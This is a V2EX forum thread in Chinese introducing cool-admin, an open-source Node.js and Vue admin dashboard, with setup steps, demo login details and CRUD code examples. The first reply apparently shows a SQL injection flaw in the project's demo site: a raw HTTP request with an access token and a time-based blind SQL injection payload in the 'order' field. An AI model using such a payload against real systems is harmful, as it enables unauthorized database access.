V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
lpap123456
V2EX  ›  问与答

开源比较好看的后台管理系统

  •  
  •   lpap123456 · 2021-03-17 17:42:11 +08:00 · 2094 次点击
    这是一个创建于 1107 天前的主题,其中的信息可能已经有所发展或是发生改变。

    cool-admin(midway 版)一个很酷的后台权限管理系统,开源免费,模块化、插件化、极速开发 CRUD,方便快速构建迭代后台管理系统,支持 serverless 、docker 、普通服务器等多种方式部署

    开源地址

    • 后端

    https://github.com/cool-team-official/cool-admin-midway

    https://gitee.com/cool-team-official/cool-admin-midway

    • 前端

    https://github.com/cool-team-official/cool-admin-vue

    https://gitee.com/cool-team-official/cool-admin-vue

    技术栈

    • 后端:**node.js midway.js egg.js mysql typescript**
    • 前端:**vue.js element-ui jsx vuex vue-router**

    如果你是前端,后端的这些技术选型对你是特别友好的,前端开发者可以较快速地上手。 如果你是后端,Typescript 的语法又跟 java 、php 等特别类似,一切看起来也是那么得熟悉。

    演示

    https://show.cool-admin.com

    • 账户:admin
    • 密码:123456

    文档

    https://admin.cool-js.com

    项目前端

    https://github.com/cool-team-official/cool-admin-vue

    QQ 群

    2 群:539478405

    微信群

    微信公众号

    运行

    修改数据库配置,配置文件位于src/config/config.local.ts

    数据库为 mysql(>=5.7 版本),首次启动会自动初始化并导入数据

    config.orm = {
        type: 'mysql',
        host: '127.0.0.1',
        port: 3306,
        username: 'root',
        password: '',
        database: 'cool-admin',
        synchronize: true,
        logging: true,
    }
    

    安装依赖并运行

    $ npm i
    $ npm run dev
    $ open http://localhost:8001/
    

    注: 如果你的网络不佳可以尝试使用cnpm,或者切换您的镜像源

    CURD(快速增删改查)

    大部分的后台管理系统,或者 API 服务都是对数据进行管理,所以可以看到大量的 CRUD 场景(增删改查),cool-admin 对此进行了大量地封装,让这块的编码量变得极其地少。

    新建一个数据表

    src/modules/demo/entity/goods.ts,项目启动数据库会自动创建该表,无需手动创建

    import { EntityModel } from '@midwayjs/orm';
    import { BaseEntity } from 'midwayjs-cool-core';
    import { Column } from 'typeorm';
    
    /**
     * 商品
     */
    @EntityModel('demo_app_goods')
    export class DemoAppGoodsEntity extends BaseEntity {
    
        @Column({ comment: '标题' })
        title: string;
    
        @Column({ comment: '图片' })
        pic: string;
    
        @Column({ comment: '价格', type: 'decimal', precision: 5, scale: 2 })
        price: number;
    
    }
    
    

    编写 api 接口

    src/modules/demo/controller/app/goods.ts,快速编写 6 个 api 接口

    import { Provide } from '@midwayjs/decorator';
    import { CoolController, BaseController } from 'midwayjs-cool-core';
    import { DemoAppGoodsEntity } from '../../entity/goods';
    
    /**
     * 商品
     */
    @Provide()
    @CoolController({
      api: ['add', 'delete', 'update', 'info', 'list', 'page'],
      entity: DemoAppGoodsEntity
    })
    export class DemoAppGoodsController extends BaseController {
      /**
       * 其他接口
       */
      @Get('/other')
      async other() {
        return this.ok('hello, cool-admin!!!');
      }
    }
    

    这样我们就完成了 6 个接口的编写,对应的接口如下:

    • POST /app/demo/goods/add 新增
    • POST /app/demo/goods/delete 删除
    • POST /app/demo/goods/update 更新
    • GET /app/demo/goods/info 单个信息
    • POST /app/demo/goods/list 列表信息
    • POST /app/demo/goods/page 分页查询(包含模糊查询、字段全匹配等)

    部署

    $ npm start
    $ npm stop
    

    内置指令

    • 使用 npm run lint 来做代码风格检查。
    • 使用 npm test 来执行单元测试。
    3 条回复    2023-06-29 17:46:29 +08:00
    User9901
        1
    User9901  
       2021-03-17 17:59:10 +08:00
    POST /api/admin/base/sys/user/page HTTP/1.1
    Host: show.cool-admin.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Firefox/88.0
    Content-Length: 93
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN,zh;q=0.9
    Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc1JlZnJlc2giOmZhbHNlLCJyb2xlSWRzIjpbIjEiXSwidXNlcm5hbWUiOiJhZG1pbiIsInVzZXJJZCI6MSwicGFzc3dvcmRWZXJzaW9uIjozLCJpYXQiOjE2MTU5NzQ0OTEsImV4cCI6MTYxNTk4MTY5MX0.3z0hGs69Y6gNMege-h9bn-QhaRzVGeohvNsSn0uhVqs
    Content-Type: application/json;charset=UTF-8
    Dnt: 1
    Origin: https://show.cool-admin.com
    Referer: https://show.cool-admin.com/sys/user
    Sec-Ch-Ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Sec-Gpc: 1
    Accept-Encoding: gzip

    {"order":"(select*from(select+sleep(2)union/**/select+1)a)","page":1,"size":20,"sort":"desc"}
    muunala10221
        2
    muunala10221  
       2021-03-18 09:53:14 +08:00
    不错
    dawenxi001
        3
    dawenxi001  
       273 天前
    不错
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1181 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 23:07 · PVG 07:07 · LAX 16:07 · JFK 19:07
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.